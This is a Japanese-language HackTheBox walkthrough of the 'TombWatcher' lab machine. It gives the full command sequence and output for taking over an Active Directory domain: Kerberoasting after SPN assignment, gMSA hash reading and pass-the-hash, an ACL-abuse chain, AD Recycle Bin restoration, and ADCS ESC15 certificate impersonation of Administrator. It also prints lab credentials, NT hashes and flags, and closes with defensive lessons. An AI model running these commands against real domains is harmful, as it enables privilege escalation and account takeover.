HackTheBox: TombWatcher — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC (dc01.tombwatcher.htb)
→
AD DC (dc01.tombwatcher.htb)
henry(既知資格情報)
alfredへSPN付与→Kerberoast試行
→
alfredへSPN付与→Kerberoast試行
alfred:basketball
INFRASTRUCTUREグループ追加
→
INFRASTRUCTUREグループ追加
gMSA(ANSIBLE_DEV$)
msDS-ManagedPassword読取
→
msDS-ManagedPassword読取
ForceChangePassword
sam乗っ取り→WriteOwner→john乗っ取り
→
sam乗っ取り→WriteOwner→john乗っ取り
WinRM as john
user.txt ✓
→
user.txt ✓
AD Recycle Bin復元
cert_admin + DACL継承
→
cert_admin + DACL継承
ADCS ESC15
WebServerテンプレート悪用
→
WebServerテンプレート悪用
Administrator NTハッシュ
PTH → root.txt ✓
PTH → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.232.167 nmap -Pn -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.129.232.167
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws .NET Message Framing
ℹ️
典型的なActive Directoryドメインコントローラの構成。ドメインは
tombwatcher.htb、DCホスト名はdc01.tombwatcher.htb。
BASH
echo "10.129.232.167 tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hosts
PHASE 2
既知の初期資格情報からBloodHound調査でACLチェーンを特定
既知の初期資格情報(henry)でBloodHound収集
BASH
bloodhound-python -u henry -p 'H3nry_987TGV!' -d tombwatcher.htb \ -ns 10.129.232.167 -c all --zip
ℹ️
BloodHoundでACLを解析すると以下のチェーンが判明する:
henryはalfredへのSPN設定権限(GenericWrite等)を持ち、
Kerberoast可能な状態にできる。alfredは
INFRASTRUCTUREグループへの自己追加権限を持ち、
このグループはgMSA(ANSIBLE_DEV$)の
msDS-ManagedPassword読み取り権を持つ。
gMSAはsamへのForceChangePassword権を持ち、
samはjohnへのWriteOwner/
GenericAll権を持つ。
PHASE 3
gMSAハッシュ経由でACLチェーンをたどり user.txt を取得
alfred への SPN 付与 → Kerberoast
BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u henry -p 'H3nry_987TGV!' \ set object alfred servicePrincipalName -v tombwatcher.htb/Alfred impacket-GetUserSPNs tombwatcher.htb/henry:'H3nry_987TGV!' \ -dc-ip 10.129.232.167 -request -request-user alfred
⚠️
落とし穴: 対象ユーザーを指定するフラグは
-target-userではなく-request-user。
誤ったフラグ名ではunrecognized argumentsで即座に失敗する。
BASH (取得したTGS-REPをhashcatでクラック)
hashcat -m 13100 alfred.tgs /usr/share/wordlists/rockyou.txt
RESULT
alfred : basketball
BASH (SPNを元に戻す、クリーンアップ)
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u henry -p 'H3nry_987TGV!' \ remove object alfred servicePrincipalName -v tombwatcher.htb/Alfred
INFRASTRUCTUREグループへ自己追加 → gMSAハッシュ読取
BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u alfred -p basketball \ add groupMember INFRASTRUCTURE alfred bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u alfred -p basketball \ get object ANSIBLE_DEV$ --attr msDS-ManagedPassword
RESULT
distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NT: 3eca34dd13a85db79c03178b7b149621
msDS-ManagedPassword.B64ENCODED: Knd5o2jlxGq8cmWyoRssAPzz...
⚠️
落とし穴: bloodyADが実際に出力するフィールド名は
msDS-ManagedPassword.NT:(.NTLM:ではない)。
gMSAのパスワードは定期的に自動ローテーションされるため、
過去のウォークスルー記載の固定ハッシュ値は別インスタンスでは
まず通用しない。必ずライブでこの値を読み取る必要がある。
gMSA(ANSIBLE_DEV$)の Pass-the-Hash で sam のパスワードをリセット
BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u 'ANSIBLE_DEV$' -p :3eca34dd13a85db79c03178b7b149621 \ set password sam rogue
RESULT
[+] Password changed successfully!
sam の WriteOwner/GenericAll で john を乗っ取り
BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u sam -p rogue set owner john sam bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u sam -p rogue add genericAll john sam bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u sam -p rogue set password john rogue
RESULT
[+] Old owner S-1-5-21-...-512 is now replaced by sam on john [+] sam has now GenericAll on john [+] Password changed successfully!
ℹ️
samが自分自身を
johnオブジェクトの所有者(Owner)に設定 →
所有者権限からGenericAllを自分に付与 →
GenericAll権限でjohnのパスワードを直接変更、という
古典的なACL悪用チェーン。
WinRM で user.txt 取得
BASH
netexec winrm 10.129.232.167 -u john -p rogue -d tombwatcher.htb \ -x 'type C:\Users\john\Desktop\user.txt'
RESULT
tombwatcher.htb\john:rogue (Pwn3d!)
ace1aebc63912d3261016b71a63fb4bf
user.txt — john
ace1aebc63912d3261016b71a63fb4bf
PHASE 4
AD Recycle Bin から cert_admin を復元し DACL 継承を付与
削除済みオブジェクト cert_admin を復元
NOTE
BloodHoundの調査で、johnはAD Recycle Bin(削除済みオブジェクトの復元)を 実行できる権限を持ち、かつ削除済みの"cert_admin"アカウントに関連する 権限が残っていることが判明する。PowerShellの Restore-ADObject で 復元できる。
BASH (WinRM経由でPowerShell実行)
netexec winrm 10.129.232.167 -u john -p rogue -d tombwatcher.htb \ -X "Restore-ADObject -Identity '938182c3-bf0b-410a-9aaa-45c8e1a02ebf'"
✅
cert_adminオブジェクト(objectGUID指定)が復元される。
ADCS OU への FullControl DACL を継承付与
BASH
impacket-dacledit -action write -rights FullControl -inheritance \ -principal john -target-dn "OU=ADCS,DC=TOMBWATCHER,DC=HTB" \ tombwatcher.htb/john:rogue
ℹ️
-inheritanceフラグにより、ADCS OU配下の子オブジェクト
(証明書テンプレートを含む)にもこのFullControl権限が継承される。
これにより後続でcert_adminのパスワードを自由に変更できるようになる。
cert_admin のパスワードをリセット
BASH
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb \ -u john -p rogue set password cert_admin rogue
RESULT
[+] Password changed successfully!
PHASE 5
ADCS ESC15 で Administrator に成りすまし → root.txt
ESC15 脆弱性の確認
BASH
certipy-ad find -dc-host dc01.tombwatcher.htb \ -u cert_admin@tombwatcher.htb -p rogue -vulnerable -stdout
RESULT
Certificate Templates
0
Template Name : WebServer
...
Enrollment Rights : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version 1
with Client Authentication EKU editable via
Application Policies extension
ℹ️
ESC15(CVE-2024相当、schema version 1のEKU編集可能証明書
テンプレート悪用):
WebServerテンプレートに
cert_adminのenroll権限があり、schema version 1のため
申請者が”Application Policies”拡張でEKU(Enhanced Key Usage)を
自由に指定できてしまう。ここに”Certificate Request Agent”
(OID: 1.3.6.1.4.1.311.20.2.1)ポリシーを注入すると、
本来別テンプレートでのみ許可されるはずの「証明書申請代理人」証明書を
取得できてしまう。
証明書申請代理人(Enrollment Agent)証明書を取得
BASH
certipy-ad req -ca tombwatcher-CA-1 -username cert_admin -p rogue \ -dc-ip 10.129.232.167 -template WebServer \ -application-policies '1.3.6.1.4.1.311.20.2.1' \ -target-ip 10.129.232.167
RESULT
[*] Saving certificate and private key to 'cert_admin.pfx' [*] Wrote certificate and private key to 'cert_admin.pfx'
⚠️
落とし穴: certipy-ad v5.0.4のフラグはハイフン1本の
-application-policies(--application-policies
ではない)。誤った表記だとunrecognized argumentsで
即座に失敗しPFXが一切作られない。
Administrator の代理として証明書を申請(on-behalf-of)
BASH
certipy-ad req -u cert_admin -p rogue -dc-ip 10.129.232.167 \ -target-ip 10.129.232.167 -ca tombwatcher-CA-1 -template User \ -on-behalf-of 'tombwatcher\administrator' -pfx cert_admin.pfx
RESULT
[*] Saving certificate and private key to 'administrator.pfx' [*] Wrote certificate and private key to 'administrator.pfx'
ℹ️
取得した”Enrollment Agent”証明書(
cert_admin.pfx)を使い、
Userテンプレートに対して「Administratorの代理として」
証明書を申請する。Enrollment Agent証明書を持つプリンシパルは、
任意のユーザーに成りすました証明書申請が可能になる。
証明書からAdministratorのNTハッシュを取得
BASH
certipy-ad auth -dc-ip 10.129.232.167 -pfx administrator.pfx
RESULT (クロックスキュー未対策の場合)
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError:
KRB_AP_ERR_SKEW(Clock skew too great)
🚨
落とし穴: Kerberos認証は既定でクライアント・
サーバー間の時刻差を最大5分までしか許容しない。攻撃側マシンの
時計がターゲットと大きくずれていると
KRB_AP_ERR_SKEWで失敗する。net time -S
<target>でターゲットの実時刻を取得し、
faketimeでラップして実行するのが確実。
BASH (faketimeで対象の時刻に合わせて再実行)
TARGET_TIME=$(net time -S 10.129.232.167 | head -1) faketime "$TARGET_TIME" certipy-ad auth -dc-ip 10.129.232.167 -pfx administrator.pfx
RESULT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb':
aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
Pass-the-Hash で root.txt 取得
BASH
netexec winrm 10.129.232.167 -u administrator \ -H f61db423bebe3328d33af26741afe5fc -d tombwatcher.htb \ -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
tombwatcher.htb\administrator (Pwn3d!)
6d25606fb735a40859a0c0508987ae1e
root.txt — Administrator
6d25606fb735a40859a0c0508987ae1e
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — john
ace1aebc63912d3261016b71a63fb4bf
root.txt — Administrator
6d25606fb735a40859a0c0508987ae1e
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Kerberoast可能なSPN付与権 | alfred アカウント | クラック可能なTGS-REP取得 | Medium | henryがalfredへSPNを設定できる権限を悪用しKerberoast(結果的にオフライン辞書一致で判明) |
| gMSA msDS-ManagedPassword読み取り権 | ANSIBLE_DEV$ (gMSA) | サービスアカウントのNTハッシュ窃取 | High | INFRASTRUCTUREグループ経由でgMSAの現在有効なNTハッシュを直接読み取り |
| ACL連鎖(ForceChangePassword→WriteOwner→GenericAll) | sam → john | 任意アカウントの乗っ取り | High | gMSAのPass-the-Hashでsamのパスワードをリセットしsamでログインcan、samの権限でjohnの所有者を奪いGenericAllでパスワードリセット |
| AD Recycle Bin復元権 | 削除済みcert_adminオブジェクト | 失効したはずのアカウントの復活 | High | Restore-ADObjectで削除済みアカウントを復元し悪用可能な状態に戻す |
| ADCS ESC15 | WebServer証明書テンプレート(schema version 1) | Domain Administrator権限への昇格 | Critical | Application Policies拡張でCertificate Request Agent EKUを注入し証明書申請代理人権限を取得、Administratorに成りすました証明書を発行させNTハッシュを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(AD DC標準ポート群) | tombwatcher.htb ドメイン発見 |
| 2 | ACL調査 | BloodHound(既知資格情報henry使用) | henry→alfred→gMSA→sam→johnのACLチェーン特定 |
| 3 | 初期突破 | SPN付与Kerberoast+gMSA Pass-the-Hash+ACL連鎖 | alfred:basketball → sam/john乗っ取り → user.txt |
| 4 | 準備 | AD Recycle Bin復元+DACL継承付与 | cert_admin復活+ADCS OUへのFullControl |
| 5 | 権限昇格 | ADCS ESC15(Certificate Request Agent EKU注入) | Administrator NTハッシュ → root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 一般ユーザーがサービスアカウントへのSPN設定権限を持ちKerberoast攻撃を誘発できる | 最小権限の原則に基づきSPN管理権限を厳格に制限し、サービスアカウントには十分に強力なランダムパスワードを設定する。 |
| グループメンバーシップ経由でgMSAの現在有効なNTハッシュが読み取り可能なACL設定になっている | gMSAのPrincipalsAllowedToRetrieveManagedPasswordを必要最小限のプリンシパルのみに限定する。 |
| ACLの連鎖(ForceChangePassword→WriteOwner→GenericAll)が特権昇格の経路として機能してしまう | 定期的にBloodHound等でACL経路を監査し、意図しない権限委譲の連鎖を検出・是正する。 |
| 削除済みオブジェクトがAD Recycle Bin経由で復元可能なまま残っており、復元後の権限が失効していない | アカウント削除時は関連するACL・グループメンバーシップも明示的にクリーンアップする運用を徹底する。 |
| ADCS証明書テンプレートがschema version 1(Application Policies拡張でEKU編集可能)のまま運用されている(ESC15) | 証明書テンプレートをschema version 2以降にアップグレードし、Application Policies拡張による予期しないEKU注入を防ぐ。Microsoftの2024年5月セキュリティ更新プログラムを適用する。 |

